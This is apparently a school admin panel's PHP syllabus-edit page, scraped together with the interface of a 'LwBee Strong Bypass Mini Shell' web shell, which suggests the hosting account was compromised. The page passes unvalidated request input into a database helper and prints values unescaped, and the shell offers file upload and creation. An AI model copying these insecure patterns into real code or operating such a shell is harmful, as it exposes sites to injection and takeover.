/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/syllabus_edit.php
<?php
  include('include/header.php');
  $select_class = select_class();
  if(!empty($_GET['edit'])){
    $select = select_Syllabus($_GET['edit']);
    $branch = mysqli_fetch_array($select);
}

 $select_academic=select_academic();
  $select_class=select_class();
?>


  <main id="main" class="main">

    <div class="pagetitle">
  <h1>Apple IIT Schools</h1>
      <nav>
        <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Syllabus Update</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Syllabus</h5>

               <?php
 if(!empty($_POST['submit'])){
    syllabus_editData();
}
  
?>
    <form  method="post" onsubmit="return book_validation()"> 
       <div class="row">
         <!--   <div class="col-md-6 mt-4">
            <label for="exampleInputEmail1" class="form-label">Class</label>
            <select name="PresentClass" id="PresentClass" class="form-control">
                <option value="">Please Select Class</option>
                  <?php
                    // while($classRow = mysqli_fetch_array($select_class)){
                  ?>
                  <option value="<?= $classRow['name']?>" <?php if($classRow['name'] == $branch['class']){ echo 'selected';}?>><?= $classRow['name']?></option>
              <?php //} ?>
              </select>
             
        </div> -->
          <div class="col-md-6 mt-4">
            <label for="exampleInputEmail1" class="form-label">Subject Name</label>
            <input type="text" class="form-control" id="syllabus_name" name="syllabus_name" value="<?= $branch['name']?>">
            
        </div>
      </div>
        <input type="hidden" name="edit_data" value="<?= $branch['id']?>">
        <div class="mt-4">
        <input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
        <a href="syllabus.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
        </div>
        
    </form>



               

            </div>
          </div>

        </div>
      </div>
    </section>

  </main> 
 
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        var branchname = $('#branch_name').val();
        var academic = $('#academic').val();
       
        if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
      
       
        else{
          return true;
        }
    }
  </script>


  <?php  include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File